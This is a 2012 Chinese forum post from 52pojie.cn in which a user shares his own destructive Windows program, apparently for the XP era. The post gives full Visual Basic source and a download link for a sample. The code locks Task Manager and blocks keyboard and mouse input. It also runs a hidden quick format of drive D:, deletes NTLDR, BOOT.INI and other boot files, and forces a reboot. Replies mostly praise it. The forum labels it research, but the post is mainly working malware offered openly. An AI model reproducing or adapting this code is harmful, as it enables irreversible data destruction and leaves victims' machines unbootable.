吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 11062|回复: 29
收起左侧

[PC样本分析] 震动波病毒分析 by DuckSoftHacker

[复制链接]
ducksofthacker 发表于 2012-2-6 09:43
使用论坛附件上传样本压缩包时必须使用压缩密码保护,压缩密码:52pojie,否则会导致论坛被杀毒软件等误报,论坛有权随时删除相关附件和帖子!
病毒分析分区附件样本、网址谨慎下载点击,可能对计算机产生破坏,仅供安全人员在法律允许范围内研究,禁止非法用途!
禁止求非法渗透测试、非法网络攻击、获取隐私等违法内容,即使对方是非法内容,也应向警方求助!
本帖最后由 ducksofthacker 于 2012-2-6 09:47 编辑

这个病毒是我在学校机房时候的处女作,现在来到了52破解,来给大家分享下。

该病毒运行流程:
    1.首先采用独占方式以文件方式打开任务管理器,使其无效化。
    2.然后调用API BlockInput,使键盘鼠标无效化。如果单纯用BlockInput是有解的,按任务管理器出来就好了。但是已经禁用了,所以无解。
    3.使用隐藏方式调用Windows的format.exe格盘,并在PC喇叭播放难听的随机噪声。
    4.调用KillFile子程序,设置属性到普通后可以正常删除,把Windows NT/2000/XP/2003系列的启动文件删的一干二净,然后3秒后重启。

快镜头(亲身虚拟机实验):
    突然鼠标键盘失灵,按任务管理器,Ctrl+Break都不好使。然后电脑机箱喇叭出现了奇怪的噪声,持续一段时间后系统黑屏重启。重启后发现开机出现NTLDR is missing,无法进入系统。

源代码:
Dim mlnghDir As Long
Private Declare Function CreateFile Lib "kernel32" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByVal PassZero As Long, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal PassZero As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Const OPEN_EXISTING = 3
Private Const FILE_FLAG_BACKUP_SEMANTICS = &H2000000
Private Const GENERIC_READ = &H80000000
Private Declare Function BlockInput Lib "user32" (ByVal fBlockIt As Long) As Long
Private Declare Function Beep Lib "kernel32" (ByVal dwFreq As Long, ByVal dwDuration As Long) As Long
'病毒名: 震动波病毒
'功能 : - 毁灭XP、2003、NT系列系统
' - 格盘
' - PC喇叭毁灭
' - 键鼠挂崩
' - 禁用任务管理器
'作者 : DuckSoftHacker
Sub Main()
'--------------------------------------------------------------
'| -------病毒配置区------- |
'| 严谨违法使用 |
'--------------------------------------------------------------
'-----------------------以下为功能区---------------------------

禁用任务管理器
键鼠失灵
格盘 "D:"
PC喇叭失灵 60
毁灭XP

'-----------------------以上为功能区---------------------------
'--------------------------------------------------------------
'|禁用: 在命令前加 ' (英文单引号) |启用: 去掉单引号|免杀兄制作|
'--------------------------------------------------------------
End Sub


'--------------------------------------分界线----------------------------------------
Sub 毁灭XP()
'慎用!无法挽救!
KillFile "C:\NTLDR"
KillFile "C:\NTDETECT.COM"
KillFile "C:\BOOTFONT.BIN"
KillFile "C:\BOOT.INI"
KillFile "C:\GHLDR"
Shell "shutdown -r -t 3"
End Sub
Sub PC喇叭失灵(次数 As Long)
For a = 1 To 次数
Beep 1000 + CLng(Rnd * 3000), Int(100 * Rnd)
Next
End Sub
Sub 键鼠失灵()
BlockInput True
End Sub
Sub 格盘(盘符 As String)
'超级邪恶,呵呵!
Shell "cmd.exe /c format " & 盘符 & " /q", vbHide
End Sub
Sub LockFile(ByVal FilePath As String) '锁定文件
mlnghDir = CreateFile(FilePath, GENERIC_READ, ByVal 0&, ByVal 0&, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, ByVal 0&)
End Sub
Sub 禁用任务管理器()
LockFile "C:\Windows\System32\taskmgr.exe"
End Sub
Sub KillFile(file As String)
On error resume next
SetAttr file,vbNormal
Kill file
End Sub


病毒样本,仅供测试:

震动波病毒Ⅱ代.rar (2.3 KB, 下载次数: 92)

希望各位大牛踊跃评论,小菜鸟感激不尽。


免费评分

参与人数 3威望 +1 热心值 +2 收起 理由
wushijieqw + 1 太棒了,收了
roxiel + 1 感谢发布原创作品,[吾爱破解]因你更精彩!
VIPLZM + 1 感谢您的分析,[吾爱破解]有你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

VIPLZM 发表于 2012-2-6 10:35
Good,希望论坛有更多像你这样的人
657580890 发表于 2012-2-6 20:16
virusdefender 发表于 2012-2-6 20:57
破解入门 发表于 2012-2-6 22:06
哈哈哈哈
 楼主| ducksofthacker 发表于 2012-2-6 22:42
virusdefender 发表于 2012-2-6 20:57
刚在卡饭上看见一篇一模一样的文章。

原创,纯属巧合
 楼主| ducksofthacker 发表于 2012-2-7 12:48
转的很快嘛 连我的版权都没擦掉
levil 发表于 2012-2-7 14:47
支持分享思路,大家实验的时候要小心

点评

虚拟机是测试病毒的毁灭能力的最好东西  发表于 2012-3-5 13:27
bigkat 发表于 2012-2-8 11:58
只要是自己研究过的,哪怕前人已经出过。也是好的
无名智者 发表于 2012-3-5 13:28
你的文章被迅速转到了卡饭

我看了下,一模一样
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 14:10

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表